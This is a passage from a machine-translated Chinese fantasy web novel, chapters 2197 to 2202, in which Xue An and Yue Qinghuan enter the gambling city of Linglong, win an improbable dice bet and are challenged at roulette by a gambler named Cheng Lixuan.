    "Shadow Turtle Clan, thank you Chinese powerhouse and military strategist for their kindness this time!"


    As he said, he kowtow to the ground seriously, and knocked his head three times.


    Yue Qinghuan was a little unnatural, but Xue An accepted it calmly.


    Because this is what he deserves.


    After the kowtow, Xue An said lightly: "Get up, the matter is here, obviously it''s not over yet!"


    Only then did the Shadow Turtle King stand up.


    "Those people who were captured by Linglong City should be alive now, so the top priority is to go to Linglong City to rescue them!"


    The Shadow Turtle King immediately nodded, "Okay, then we will go now!"


    "We?" Xue An smiled and shook his head, "You are wrong. This time it is our two actions. As for you, you must stay in Baozhu City to guard!"


    "Why?" The Shadow Turtle Emperor''s eyes widened immediately. UU Reading


    "It''s very simple, because now the Orb City is empty. If you leave again, and if a younger generation takes the opportunity to enter, what should you do?"


    "But..." The Shadow Turtle Emperor was still reluctant.


    "What? Did you forget your previous promise?" Xue An said lightly.


    The Shadow Turtle King was shocked, "Of course I dare not!"


    "That''s good, it is the most important thing that you protect the Orb City here, otherwise, if there is something wrong here, then all the previous work will be lost!"


    When he said this, Xue An''s eyes flashed with dazzling brilliance, like a star like a diamond.


    At least Yue Qinghuan on the side was a little silly.


    "Besides, keeping you here is not permanent. After you rescue your people, I will make my own arrangements!"


    The Shadow Turtle King finally lowered his head and replied in a deep voice, "Yes!"

 Chapter 2197： Zuishenglou

    Linglong City is not too far away from Baozhu City, and at the speed of Xue An and Yue Qinghuan, it will arrive in at most half a day.


    But they had walked for two days before entering the area of ??Linglong City. The reason was no other reason, because there were too many people in Linglong City on the road.


    Too many traffic jams on the road!


    That''s right!


    It''s a traffic jam in the literal sense!


    But seeing the numerous star boats on the road are densely packed, flying forward one by one, among them there are many very tall giant flying boats, like giant whales flying across the sky, slowly moving forward.


    Not to mention anything else, these flying boats alone have squeezed the originally extremely wide road.


    Not to mention that there are many people who came across in the flesh, so this road can be described as extremely lively.


    Even Xue An and Yue Qinghuan can only patiently follow the crowd and move forward slowly.


    at last!


    The outline of a city faintly appeared in the front.


    Although it is only a vague shadow, it can still feel the unspeakable grandeur and magnificence.


    The crowd began to get excited.


    "Is that the well-known Linglong City? It really deserves its reputation!" Someone was excited.


    "It really deserves to be the number one casino in the world, even the city is like a dice!" Someone sighed slightly.


    That''s right!


    At first glance, this exquisite city looked like a nearly perfect tetrahedron, with a gate open on the walls facing all sides.


    On the city gate, there are plaques symbolizing numbers, in order of two, three, four, and five.


    And if you fly up and look down, you will find that the ground buildings of the entire Linglong City are arranged according to a certain rule, and finally form a huge six-identical font.


    As for that one.


    When you look up after entering the city gate, you will find that on the top of the tallest building, a sun-like device is erected, emitting a warm light.


    This is the one!


    That''s why some people say that Linglong City was built in the shape of a dice.


    Xue An and Yue Qinghuan followed the crowd into the city gate, standing on the blazing street, looking at the row upon row of gambling houses next to each other on the street, they couldn''t help but sigh slightly.


    "It''s really lively! But is this gambling so interesting? Why does it attract so many powerful people?"


    Seeing Shi Shiran walking down from a giant flying boat in the distance, at least the powerhouse at the peak of the Immortal Venerable, Yue Qinghuan was a little hard to understand.


    Xue An retracted his gaze and smiled faintly, "What''s interesting is not gambling, but the excitement that gambling brings! Is it the first time you are here?"


    Yue Qinghuan nodded, "Well, my family never let me come to such a place before!"


    "Then you can also leave first now, anyway, I alone should be enough for this matter!" Xue An said lightly.


    "No!" Yue Qinghuan replied decisively, "Don''t want to get rid of me. Since I have encountered this matter, I must take care of it to the end. Sons and daughters of soldiers, how can you give up halfway?"


    Xue An did not respond at the time, but looked at Yue Qinghuan quietly. Until a long time later, Yue Qinghuan was a little bit ridiculous, and a little uneasy said: "What are you looking at me for?"


    He chuckled softly: "The truth is correct, but how do I feel you are so excited?"


    "Am I excited? No, it must be your illusion! How could I be excited?" Yue Qinghuan hurriedly lowered his eyes, covering his eyes.


    "Okay, whether you are excited or not, since you don''t want to leave, just let me do it!" Xue An said lightly, then turned and walked deep into the street.


    Yue Qinghuan breathed a sigh of relief, then quietly took a look around, and a deep curiosity and excitement appeared in his eyes, and at the same time he whispered softly in his mouth.


    "Is this the gambling city that my brother has repeatedly told me not to enter? I want to see what special magic power you have that can make so many people fascinated."


    After that, she followed happily.


    Zuishenglou!


    The premier gambling shop in Linglong City is located in the prime location in the middle of the city, and it is also the place where Zhang Pengtian lost the entire Baozhu City before.


    now.


    Xue An and Yue Qinghuan stood not far away looking at this magnificent Jinjin Cave.


    Although there is a distance between them, the laughter, clash of dice, exclamations, verbal abuse, and women''s chuckles are still faintly audible.


    Xue An stood still, and Yue Qinghuan naturally had to stay with him.


    The two of them just stood by the side of the road, attracting many curious eyes.


    Especially after seeing the stunning Yue Qinghuan, many people all shined.


    Some people even wanted to come forward to strike up a conversation, but they were all startled by the coldness on Yue Qinghuan''s face.


    But it''s not a problem to keep going like this, Yue Qinghuan couldn''t help but asked in a low voice: "Why are you standing here? Why not go in?"


    Xue An turned his head and glanced at her when he heard the words, and then said lightly: "Are you in such a hurry?"


    "Nonsense, of course I''m anxious! I''ve been standing here for a long time, and many people look at me wrong, as if I''m the kind of dusty woman!" Yue Qinghuan said in an angry tone.


    Xue An smiled freely when he heard the words, "Okay, then let''s go in now!"


    After all, Xue An took a step and walked forward.


    At this moment, it is the busiest time of the day in Zuisheng Building.


    Gamblers from all sides squeezed the gate of Zuisheng Building.


    There is a special guard in front of the door who is keeping order.


    Nevertheless, the progress is still slow.


    But not far from the gate, there was a small gate.


    Compared with the excitement of the gate, this small gate looks deserted and very leisurely.


    Only occasionally will there be a well-dressed, powerful man in front of the small door, UU read and checked by the guards before being put in.


    It can be seen that this small gate is obviously accessible to people with certain status and status.


    And Xue An came straight to this small gate.


    "Please stay!"


    As soon as he got closer, two guards blocked the way.


    "Does this gentleman have an invitation letter or pass?" one of the guards asked politely.


    It''s just that this kind of politeness with a touch of condescending indifference makes it uncomfortable to hear.


    Xue An glanced at him lightly, "What invitation letter?"


    "That''s not there anymore? So sorry, sir, this small door is exclusively for the VIP guests of Zuisheng Building. If you don''t have an invitation letter or pass, you are not eligible to enter! So please leave here, don''t get in the way! "


    After hearing Xue An''s reply, the guard disappeared even the last smile, and said rather domineeringly.

 Chapter 2198： Place a bet

    Xue An looked at it with a smile, but did not speak.


    "Forget it, let''s enter through the gate, it doesn''t matter if we wait a while!" Yue Qinghuan pulled Xue An''s clothes when she saw it.


    She was afraid that Xue An would fight these guards before she entered the casino.


    But at this moment, when the guard saw Yue Qinghuan''s face clearly, his eyes could not help but light up, and then he stepped aside and stepped aside, saying quite enthusiastically.


    "Beautiful lady, you can enter Zuisheng Building through this door!"


    "Oh? But I don''t have a pass!" Yue Qinghuan said.


    At this moment, I heard an elegant baritone coming from behind the door.


    "Your face is the best pass. I don''t think anyone in Linglong City would have trouble with a beautiful woman like you!"


    Following the voice, the door was slowly opened, and then a well-dressed middle-aged man walked out with a smile.


    This man wore a well-tailored gown, but with a bald head, he looked unangered and mighty.


    I saw that Chong Yue Qinghuan, who was very elegant and decent, nodded slightly, and then smiled: "This beautiful lady, it would be the biggest waste for you to stand here for a second, so to make up for my apologies, you can There is no limit to the consumption of delicacies and wine in Zuishenglou!"


    Yue Qinghuan was also slightly startled at the beginning, but she was not a chick who had never seen the world before, so she quickly reacted and smiled in return: "Thank you, but I think I don''t need it anymore!"


    "Are you worried about your male partner? Don''t worry, since you are your friend, you will naturally receive the same treatment, so..."


    The man stepped aside, yelled with his hand in front of him, leaned slightly and said, "Two of you, please come in!"


    This kind of courtesy were not enjoyed by those big and powerful people before.


    Yue Qinghuan couldn''t help looking at Xue An secretly, wanting to see how he would react.


    In Yue Qinghuan''s view, Xue An should be a little embarrassed at this moment.


    After all, he wanted to enter through this small door at first, but was blocked.


    But now I can enter because of myself.


    Only because of the face of a woman is eligible to enter, which should be a great irony and shame for a man!


    Yue Qinghuan silently thought in his heart that he was even ready for Xue An to leave.


    But in the next second, all the thoughts in Yue Qinghuan''s heart were frozen.


    I saw Xue An didn''t care, even the smile on his face did not change, and he walked in with his head up.


    The whole process did not hesitate at all, it seemed so smooth and natural.


    Yue Qinghuan looked at Xue An''s back with a bit of astonishment, and even gritted his teeth bitterly.


    This **** actually tricked me again!


    Thinking in her heart, she no longer delayed, but hurried to catch up.


    Soon, the backs of the two of them disappeared behind the door.


    The smile on the bald man''s face gradually reduced.


    At this time, the guard who had blocked Xue An stepped forward and asked a little strangely: "Supervisor, I can understand that you let the woman in, but why did you put that young man in? "


    "You guys, it''s still not enough time!" The bald man sneered and continued.


    "These two are obviously coming to Linglong City for the first time. If only this girl is allowed in, she will definitely be prepared and afraid to enter, but if they are allowed in together, all doubts of this girl can be dispelled. ! As for that man..."


    There was a look of disdain on the bald man''s face, "It''s just a kid who is half-step Xianzun, and he has no teeth!"


    "High! As expected, you are still in charge!" The two guards flattered.


    The bald man smiled contentedly, "Slowly learn, you have more things to learn! But if you can meet the best products like today every day, you will not be far from getting promoted and making a fortune!"


    "Thank you, Mr. In charge, everything has to be supported by Mr. In charge!"


    When the three people were chatting outside the door, Xue An and Yue Qinghuanye had appeared in the lobby on the first floor.


    At this moment, this Zuisheng Building is extremely lively.


    However, the hall on this floor is extremely large, and there are many magic circles for purifying spirits carved on the ceiling, so despite the large number of people, it is not at all depressed.


    Since entering this hall, Yue Qinghuan''s eyes were completely insufficient.


    She was looking curiously at the various gambling equipment around her, as well as the gamblers concentrated around the table.


    The cheers that burst out from time to time made her very confused.


    "Is this stuff really that fun?"


    Xue An did not speak, because his attention at the moment was all focused on the various layouts of this hall.


    That row upon row of spiritual patterns, that magnificent decorative painting...


    Wait. Although all of this seems to be nothing strange at first glance, when they are combined together, a completely natural situation is formed.


    Everyone who enters this hall will be affected by this situation consciously or unconsciously.


    No matter how high your cultivation base is, it is the same.


    "Hey, I''m talking to you, didn''t you hear it?" Yue Qinghuan raised his voice a little when he saw Xue An did not respond.


    Xue An then retracted his gaze from looking around, then looked at the gamblers with fanatical faces, and said lightly: "Is it that fun? You can try it yourself and know?"


    "That''s right, anyway, it''s here, so I have to play twice before leaving!"


    At this point, Yue Qinghuan became excited again and began to feel around.


    Those who are too complicated have no interest, but are attracted by the ongoing gambling at a table.


    This bet is extremely simple, even crude.


    Because there is only one bowl and two dice.


    But there are the most people at this table.


    From time to time there will be bursts of cheers.


    "Just it, I think this is the easiest!"


    Xue An was naturally noncommittal, and followed Yue Qinghuan to the table, UU reading www. uukanshu. com and squeeze in.


    Gamblers who are preoccupied are the most taboo of someone squeezing themselves behind, so soon someone turned around and shouted.


    "Who he..."


    The swear words came to an abrupt end, because these people all saw Yue Qinghuan''s appearance.


    Especially the one who wanted to scold someone, even more obsessed.


    Yue Qinghuan frowned slightly in disgust, but did not speak, but squeezed to the table directly.


    "Can I bet here?"


    Upon seeing this, the female croupier smiled slightly, "Of course you can! But you need to redeem some chips first! Zuishenglou supports all kinds of exchanges, whether it is a spiritual stone or a secret book, you can give a reasonable and accurate estimate! "


    "Okay, then use it to exchange some chips for me!"


    With that, Yue Qinghuan threw a token on the table.


    On the token is engraved with a soldier!

 Chapter 2199： Ancient 0

    "It''s a soldier''s talisman, she is a member of the military family!" The sharp-eyed person recognized this token at a glance, and couldn''t help but mutter in a low voice.


    The audience was also in an uproar.


    We must know that military masters are one of the hundred schools that have been passed down from ancient times, and they are also extremely powerful.


    What he is most adept at is the art of fighting and closing battles, which is so powerful that it can be called unpredictable.


    This also led to the fact that the descendants of his family rarely appeared in front of everyone single-handedly.


    Nowadays, not only a soldier has appeared, but she is also a beautiful girl.


    How can this not be shocking.


    A strange brilliance flashed in the eyes of the croupier, and then he turned his head and said something to the person behind him.


    After a while, an old man in a gray robe hurried forward, and the female croupier and the casino crowd took a step back, bowing their heads to show respect.


    Without looking aside, the old man walked straight to the table, picked up this soldier''s symbol, and looked at it carefully.


    After a long time, the old man nodded, "It can be determined to be true!"


    As he said, he raised his head and looked at Yue Qinghuan with piercing eyes, and directly asked by means of sound transmission and secrecy: "This girl, dare to ask who Yue Shifang is you?"


    Yue Qinghuan lowered his eyes, and also responded with a voice transmission method: "That''s my brother!"


    The old man was shocked, a horrified light appeared in his eyes, and then he held the soldier''s talisman in both hands and handed it back.


    Yue Qinghuan did not answer, but raised her eyebrows slightly, "What do you mean?"


    The old man smiled and said, "Miss Yue, don''t have to worry, I just return this soldier symbol arrow to you!"


    "What? No need to pledge?" Yue Qinghuan said lightly.


    "Of course not, the identity of Miss Yue alone is enough to have the highest overdraft authority in Zuisheng Building, so how can it even need to be pledged."


    As he said, the old man turned his head and winked at the person behind him.


    Immediately, a few strong and powerful men pushed a trolley up.


    The trolley is full of golden chips.


    Seeing this scene, the crowd couldn''t help exclaiming.


    "My God, with so many golden chips, what a fortune it must be!"


    "It really deserves to be one of the hundreds of ancient schools. It is actually possible to overdraw so many bargaining chips with just one inheritance identity!"


    But there are also people who have doubts about this, "Listening to what the old man just called her, this girl seems to be surnamed Yue, and the Yue family in the military family seems to be..."


    It seems that this person didn''t say anything, but the expression on his face was still indescribable.


    In these discussions, Yue Qinghuan also looked at the old man quite unexpectedly, and then transmitted his voice into the secret again: "Do you know my brother?"


    "It''s fortunate to have had a first-hand knowledge!"


    Then the old man bowed back and said with a smile: "I wish you a happy playing!"


    After all, the old man disappeared.


    In an instant, the eyes of the audience focused on Yue Qinghuan.


    Yue Qinghuan raised his eyebrows slightly, and then said to the female croupier: "Can we start?"


    The croupier nodded, stepped forward, and picked up the dice cup from the table.


    She lifted the lid of the dice cup first, and then pushed it in front of Yue Qinghuan, "Please check!"


    Yue Qinghuan frowned slightly, she hadn''t even touched the dice before, how could she check these!


    At this moment, Xue An, who had not spoken the whole time, stood by and suddenly reached out and picked up the dice cup on the table.


    Three extremely delicate dice are placed in the white as jade dice cup.


    Xue An grabbed it in the palm of his hand and turned it slowly.


    His move caused many people to frown slightly.


    Because the rule at the gambling table is that the high roller who bet the most is eligible to inspect the gambling equipment, the female croupier was obviously speaking to Yue Qinghuan.


    How come suddenly an unknown young man in white is checking gambling equipment here?


    You must know that many people have an admiration for the stunning Yue Qinghuan, and they want to get close to them, so when they see this scene, they immediately "filled with righteous indignation" and want to say something.


    But in the next second, everything they wanted to say was blocked in their throats.


    I saw Yue Qinghuan approach Xue An and asked curiously: "How? Is there anything wrong with it?"


    Xue An shook his head, then threw the dice back into the dice cup, and said lightly: "Go!"


    The female croupier nodded, took the dice cup and began to sort it out.


    Taking advantage of this gap, Yue Qinghuan asked in a low voice: "If you can''t even see anything wrong, doesn''t it mean that Zuisheng Building is not a lie?"


    "There is nothing wrong with things, it does not mean that they will not lie!" Xue An said lightly.


    "Yes! Hey, right." Yue Qinghuan suddenly thought of something, and said to Xue An mysteriously.


    "Since there is nothing wrong with it, can you control these dice with your own mind?"


    Xue An smiled, "Do you think this exquisite city can be famous for gambling in a world where the strong are rampant, would you not take this into consideration?"


    "Those dice are not faulty, but the dice cups are made with some kind of secret technique. I have just tried it. No matter whether it is the power of the divine mind or the magical powers, it can''t penetrate into it!"


    "Ah, it turned out to be like this!" Yue Qinghuan was a little frustrated. She thought she had found a good way to make a fortune!


    Xue An glanced at her strangely.


    Because he found that this young girl who showed mystery and coldness at the very beginning is becoming more and more naive at this moment.


    How do you say this feeling, like a girl next door who has torn off the disguise of her imperial sister.


    At this moment, the woman croupier shook the dice cup after finishing everything.


    In an instant, the audience fell silent.


    Everyone was listening to the crash of the dice.


    After a while, the female croupier put the dice cup on the table and said solemnly: "Please place a bet!"


    For a while, everyone at the gaming table became excited.


    People started talking.


    "I can''t hear the sound just now, it must be loud this time!"


    "Fart The sound of this dice cup is random, let alone you, the saint will not be able to tell when he comes, you must be big, I think it must be small!"


    Accompanied by the quarrel, people have placed their chips in the positions they identified.


    Soon, the large and small areas above the table were filled with chips.


    In a blink of an eye, only Yue Qinghuan was left who had not placed a bet.


    People looked at Yue Qinghuan strangely.


    Yue Qinghuan was also a little anxious, and secretly asked Xue An, who was standing silently.


    "What''s wrong? Why don''t you bet? Everyone is waiting for us!"


    "So anxious?"


    "Nonsense, of course I am in a hurry! Or I will try my next bet first!"


    Having said that, Yue Qinghuan happily picked up a handful of chips from the trolley, and randomly threw them to a certain position on the table.


    "That''s it!"

 Chapter 2200： Buy out

    Upon seeing this betting position, the crowd of onlookers was taken aback, and then burst into laughter.


    "My old man, I entered spiritual practice at the age of three. I became a real immortal at the age of a hundred. I have lived for more than a thousand years. I have passed through this exquisite city for more than a thousand years. I have never seen anyone bet like this before. Yeah!" An old man laughed.


    "Yeah! I actually played the 2.3.4 round dice, isn''t this a loss?"


    "It seems that since the establishment of Dazuishenglou, no one has ever won when playing dice!"


    "What''s more, there are very few people down!"


    There was a lot of discussion among the crowd, but basically they were all ridiculed.


    Yue Qinghuan couldn''t help flushing, and stood there quite embarrassed, feeling a little at a loss.


    How does she know how to play dice!


    It was just thrown away.


    The female croupier seemed to see her doubts and couldn''t help smiling.


    "Rounding the dice means betting that the three dice in the dice cup have the same number of points as you placed. Once you are bet, you can have an odds of one hundred and five!"


    Although these words sounded like comfort, they were more like mockery.


    Because the odds of one to one hundred and five have proved how slim this probability is!


    Yue Qinghuan was a little embarrassed.


    But at this moment, Xue An on the side suddenly chuckled, and then said lightly: "Since the odds are so high, let''s bet them all!"


    Hearing this, not only Yue Qinghuan was stunned, but the others were also a little stupid.


    What is he doing?


    At the same time, when Xue An waved his hand, the chips on the trolley automatically flew up, and then piled one by one on the position of the 2, 3, and 4 dice.


    Each one fits together accurately and accurately.


    Not to mention anything else, this hand alone is enough to shock the crowd.


    Because this is enough to prove how terrifying Xue An''s spiritual control is.


    But people at this moment have no time to worry about these.


    Everyone looked at the two stacks of chips on the table with a dumb face, and their eyes were almost staring.


    Yue Qinghuan was also taken aback and couldn''t help but ask in a low voice, "What are you doing?"


    "Betting! What can you do?"


    "But how can you bet like this, are you crazy?"


    "Isn''t this the first thing you made? I just made the bet bigger. After all...you have to play a bigger one!" Xue An smiled.


    Yue Qinghuan: "..."


    In the end he covered his eyes helplessly, "Well, do whatever you want!"


    At this time, the female croupier also awoke from the shock and looked at Xue An with a stylized smile, "Are you ready?"


    "Okay! Let''s go!" Xue An said casually.


    "If that''s the case, then buy it and leave it!"


    At this moment, the female croupier''s heart is simply happy, knowing that her income is closely related to the performance of each table.


    But because it is in the lobby, the income has not been too high.


    Unexpectedly, today, a man suddenly came and bought an extremely rare dice.


    Isn''t this just giving yourself money!


    Although she can''t control the dice in the dice cup, she also knows through so many years of experience that the odds of getting the number 2, 3, 4 and being rounded by someone are very slim.


    So she lifted the lid of the dice cup confidently, "Look at everyone!"


    What is strange is that this time the opening of the cup did not cause a burst of cheers and abuse like before.


    On the contrary, everyone was surprisingly quiet this time.


    Many people looked at the dice cup dumbfounded.


    The female croupier shook her heart.


    Could it be...


    She immediately looked down, and then she also froze in place as if struck by lightning.


    I saw three dice lying quietly in the white as jade dice cup.


    It happens to be the three points of 2.3.4.


    The female croupier felt black for a while, and almost fainted to the ground. She murmured almost desperately in her mouth: "How could it be..."


    At the same time, there was a burst of exclamation like a stormy sea.


    "Fuck, the old man took back what I just said, it turns out that I have lived in the belly of a dog for more than a thousand years!"


    "Oh my god, it''s actually 2.3.4 points. How small is this probability?"


    "Mom, with so many chips, or a one-and-a-half odds, how much does it cost?"


    "Why didn''t I follow the next bet just now!"


    For a while, there was a loud voice, and the gamblers at other tables also stopped what they were doing, and they all gathered around to watch the excitement.


    Yue Qinghuan was also full of disbelief, staring blankly at the points in the dice cup. After a long time, she suddenly turned her head and asked.


    "Did you already know it?"


    "Know what?" Xue An said lightly.


    "Know the points in it!"


    "I said long ago that this dice cup can isolate all prying eyes, how could I know it!"


    "Then how can you guess so accurately?" Yue Qinghuan asked.


    Xue An smiled, "How can I make my guess accurate? Isn''t this the bet you made first?"


    Yue Qinghuan was stunned.


    Yes!


    That''s right!


    The note was really made by myself first.


    But why does it always feel that this guy is hiding something from himself?


    Just when she was dazed.


    The gray-robed old man appeared before.


    "The big accountant, I..." the croupier explained anxiously.


    The gray-robed old man just waved his hand, glanced at the chips on the table, and then looked at Yue Qinghuan with a smile on his face.


    "Congratulations, Miss Yue, you can win such a big lottery in the first pen, you really deserve to be a soldier!"


    Yue Qinghuan was a little embarrassed, "It''s just blind!"


    The gray-robed old man chuckled, glanced at Xue An on the side with deep meaning, and then waved.


    There was a great stride forward with a brocade box in his hand.


    The gray-robed old man took it in his hand, and after opening the brocade box, there was a stack of transparent crystal-like chips inside.


    "It''s a Lingshi bargaining chip!"


    "God, seeing such a precious bargaining chip, today is a worthwhile trip!"


    The crowd exclaimed.


    No wonder they haven''t seen the world.


    It''s really because the chips in this big accountant''s hand are too precious.


    One is enough to be worth the full cart of gold chips just now!


    "Miss Yue, this is your bargaining chip. At the same time, I invite you to the VIP room on the second floor. After all, with the bargaining chip you have now, it is no longer suitable for staying in the lobby on the first floor!" The gray-robed old man smiled.


    Yue Qinghuan took the brocade box a little awkwardly, UU reading www.uukanshu. com then nodded.


    There was another commotion in the crowd, and many people looked envious.


    Because of their status, they have only heard of the VIP room on the second floor, but have never seen it.


    Unexpectedly, this girl was invited to the second floor as soon as she arrived.


    "Two, please come with me!" A beautiful woman took over the croupier who had doubted her life, and said with a smile.


    Yue Qinghuan glanced at Xue An secretly, and saw that his face was indifferent and he couldn''t see any expression, so he had to bite the bullet and said.


    "Great!"


    With that said, the two of them followed the beauty to the second floor.


    When they left, the smile on the big accountant''s face did not change at all, but the voice became very cold.


    "Go and investigate who is the young man next to the Yue family girl! Save all the water mirror videos just now and submit them to the Inspection Office for review!"


    "Yes!"

 Chapter 2201： Crazy Roulette

    If the lobby on the first floor of the Zuisheng Building is luxurious, it has been adjusted and improved in many places to cater to the tastes of the general public and become more approachable.


    Then the second floor of Zuisheng Building is truly luxurious.


    Needless to say, the entire second floor floor is polished with pure and flawless high-quality spirit stones.


    Step on it, and the pure aura will automatically be poured into the body.


    Such a terrifying effect is already comparable to some heaven and blessings.


    As for other delicacies and fine wines, stunning ladies and so on, it is not a problem.


    All in all, any luxury you can think of can be found here.


    The name of the Golden Cave is worthy of the name here.


    now.


    Yue Qinghuan followed this beautiful guide, looking at the surrounding environment curiously.


    This is different from the first floor, and there are no all kinds of gaming tables.


    There are even many dazzlingly dressed and powerful men who are holding wine glasses and talking in small groups, just like a grand banquet.


    The arrival of Yue Qinghuan and Xue An naturally attracted the attention of these people.


    "Soldier atmosphere! This woman is actually a member of the military family, but doesn''t the military family always prohibit gambling?" Someone asked in astonishment.


    "Yes! And she''s still a woman, it''s weird!" Someone wondered.


    The crowd began to talk.


    But basically everyone selectively ignored Xue An, instead focusing all their attention on Yue Qinghuan.


    Because in their opinion, this young man in white, who was only a half-step Xianzun, was nothing more than a follower, and he did not have the qualifications to let them pay attention.


    At the same time, many people showed a keen interest in Yue Qinghuan, especially some young men, who straightened their waists by coincidence and became eager to try.


    But all their efforts were useless, because after experiencing a big win, Yue Qinghuan was already full of keen interest in gambling at this moment, and his eyes were traversing around, and he couldn''t wait to find the gaming table and pass the hand. addiction.


    As if feeling her eagerness, this beautiful guide led the two of them straight through the lobby.


    Then a huge screen appeared in front of me. After turning the screen, I saw a huge table.


    I don''t know what kind of material the table is made of. It has a dull dark gold color and is extremely spacious.


    Nevertheless, the table is still full of people at the moment.


    And these people are without exception, all of them are strong with good cultivation, and there is even a master of the peak level of Immortal Venerable.


    At this moment, these rare masters are paying full attention to the ongoing gambling game on the table.


    Only a few people noticed the arrival of Yue Qinghuan and Xue An, but they just raised their heads and glanced, and then quickly looked down.


    "Two, this is the gambling game on the second floor! You can sit in as you like, and you can just call me if you have something to do!"


    With that said, the beautiful guide went away.


    Yue Qinghuan came to the table in two steps in three steps, sat down in a gap, and then observed the gambling game on the table.


    Unlike the dice game downstairs, there is a huge roulette on this gaming table.


    The roulette is made of unknown secret gold, which is extremely delicate and strong, and at the same time can isolate all external interference.


    The roulette wheel is divided into 38 squares in sequence, 36 of which are numbered 1 to 36, and these 36 squares are divided into red and black halves.


    In addition, there are two green areas, 0 and 00 respectively.


    A small ball made of fine gold is placed in the track area. When the roulette wheel rotates, the ball will roll in the track. In which area it stops, the corresponding number is the final result.


    This gambling method is ancient and exciting.


    At least at this time all those involved have been firmly attracted by it.


    Some people have piled up the chips in front of them, while others are sitting there with gray faces, and the chips in front of them are few and pitiful.


    Seeing this scene, Yue Qinghuan began to itchy hands again.


    Everyone, as long as they place a bet and win, it is difficult to resist the temptation of the game.


    Yue Qinghuan was like this, but she was more sensible this time than before, at least looked at the odds and everyone''s moves in advance.


    Because of the uncertainty of roulette, people have all numbers.


    But generally people will choose three or four numbers to bet together, and there are also red and black, odd and even, and even large and small ranges.


    Only in the two areas of 0 and 00, which represent the green code, few people place bets.


    Because they are all located at the very beginning of the roulette wheel, the odds of betting are extremely slim.


    This also led to its highest odds, reaching one to 35.


    After watching for a while, Yue Qinghuan couldn''t help feeling a little uncontrollable, and asked in a low voice, "Hey, which number do you think I should put down?"


    Xue An stared at the rapidly spinning roulette, and said indifferently, "It depends on you."


    Yue Qinghuan narrowed her mouth, "What kind of answer are you! Don''t you have any reference?"


    "Don''t ask me, you can play wherever you like! Because you just won a big bet before, you should be lucky."


    "That''s right!" Yue Qinghuan couldn''t help getting excited when he heard the words, his eyes fixed on the slowly slowing roulette.


    "Where is better..."


    At this moment, a pretentious voice came from the side.


    "This beautiful lady, is this your first time here to play?"


    Yue Qinghuan turned his head and looked.


    However, he saw a handsome, handsome man in a light blue shirt looking at him with a smile. UU reading www. uukahnshu.com


    But somehow, after meeting the man''s gaze, Yue Qinghuan''s heart trembled slightly, and then he frowned unnoticeably.


    Yue Qinghuan''s instincts have always been very accurate, so she can conclude that under this man''s seemingly elegant smile, there is absolutely deep malice hidden.


    But her reaction was quick, so the man didn''t notice the strangeness, but after seeing Yue Qinghuan''s face, he became more excited.


    "I think the girl has just been watching, but she is also very tight. It must be the first time I have been here, but I have come here more. If the girl doesn''t understand something, I can give you some answers!"


    With that said, this man moved forward very familiarly.


    Yue Qinghuan took a half step back gently, and said lightly: "Thank you, but I don''t think there is any need to answer this kind of bet."


    "Oh girl, you don''t have to be nervous, I''m not at all malicious to you, and I''ve always been lucky lately. If you don''t dislike it, you can play with me in the next game to ensure you win. What do you think?" The man still didn''t want to give up.

 Chapter 2202： Sorry you lost

    Yue Qinghuan raised his eyebrows slightly, "Oh? Protect me from winning?"


    "Of course!" the man said confidently.


    Xue An on the side suddenly laughed.


    "What are you laughing at?" The man only noticed Xue An. When he discovered that he was only a half-step Xianzun boy, his arrogance instantly became arrogant, and he asked coldly.


    Xue An restrained laughter, "It''s nothing, I just think, since you are so good, do you know what numbers will be drawn in the next game?"


    "Of course I don''t know what numbers will be drawn, and not only I don''t know, but no one in the entire Linglong City will know, but since I said that this lady can win money, I can do it! Don''t you believe it? "The man sneered.


    Xue An shook his head, "I don''t believe it!"


    In an instant, the man''s face instantly sank, his eyes fixed on Xue An, his eyes cold as a knife.


    At this time, this round of roulette has just ended, and the betting is happy, but the missed are dejected.


    The dispute here naturally attracted the attention of many people.


    "Hey, who is this kid? Actually dare to confront Cheng Gambler."


    "Tsk tusk, it''s probably God of Gambler Cheng who has taken a fancy to this girl!"


    "It''s fun to watch now!"


    Many people looked at Xue An gleefully.


    Because they all know the man''s temper.


    The man''s name was Cheng Lixuan, and he was a powerhouse of the Immortal Venerable.


    But what he is most famous for is not his cultivation, but his enthusiasm and familiarity with this roulette.


    It can be said that anyone who comes to play on the second floor does not know him.


    His gambling skills are indeed strong enough, at least he rarely misses roulette.


    At this moment, the young man actually dared to fight each other with the gambler Cheng, who had a little belly, and it was estimated that he would end badly.


    really.


    After hearing Xue An''s answer, Cheng Lixuan was furious, and then sneered.


    "Good! What a fledgling kid, crazy enough!"


    "Thank you!" Xue An said lightly.


    "Boy, since you are so crazy, dare you to take a gamble with me?"


    "Okay! What to bet on?"


    "It''s just to bet on the next round of roulette. If you win, I will apologize to you and confess your guilt. If you lose..."


    A look of cruelty appeared in Cheng Lixuan''s eyes, "Then kneel before me and beg for mercy!"


    There was a low uproar from the crowd.


    Yue Qinghuan also became nervous about it.


    Xue An smiled indifferently.


    "Okay, how about gambling?"


    "It''s very simple. In the next round of roulette, we bet on the numbers separately, and we cannot repeat with the other party. The final result is the winner, how?


    Xue An nodded, "Yes!"


    At this time, Cheng Lixuan''s eyes showed a sly look, "Is it you or me first?"


    "Whatever, I can!" Xue An said unhappily.


    "Okay! Since you are so courageous, then I''ll bet first!"


    With that, Cheng Lixuan stood up and smiled at Yue Qinghuan.


    "This girl, sometimes, these fledgling young people who don''t know anything are the most prone to bad things, so I advise you to stay away from these people!"


    Yue Qinghuan was noncommittal.


    Cheng Lixuan gave a cold snort, then picked up the chips in front of him and threw them to the betting area in front.


    These chips flew out like goddess scattered flowers, and then dropped down with extreme precision.


    In the blink of an eye, almost all the numbers in the betting area were bet on by his chips.


    There was a tumult from the crowd.


    "Okay! Actually put the numbers from one to thirty-six directly! How can this young man pick it up?"


    "Yeah! No wonder the God of Gambler Cheng said in advance that the same number is not allowed. Isn''t this an obvious pill for this young man!"


    "Tsk tusk, if it is not because of the rules, if it is not possible to unify everything, the gambling **** Cheng will fill all the numbers!"


    "What''s the difference between this and Xiaman! The two areas of 0 and 00 are basically decorations, who have you seen to go down?"


    For a time, among people''s discussions, Cheng Lixuan, known as the God of Gamblers, became more and more proud.


    He glanced at Xue An obliquely, and said pretentiously: "Well, if you give up now, I can consider making you less embarrassed!"


    Yue Qinghuan was also a little stunned, but he soon reacted and shouted angrily: "You are purely shameless!"


    "Damn? What am I supposed to do? I just want to lose the gambling. Who told you to agree to it if you didn''t think about it in advance?" Cheng Lixuan sneered.


    Yue Qinghuan turned pale with anger.


    But at this moment, Xue An suddenly laughed.


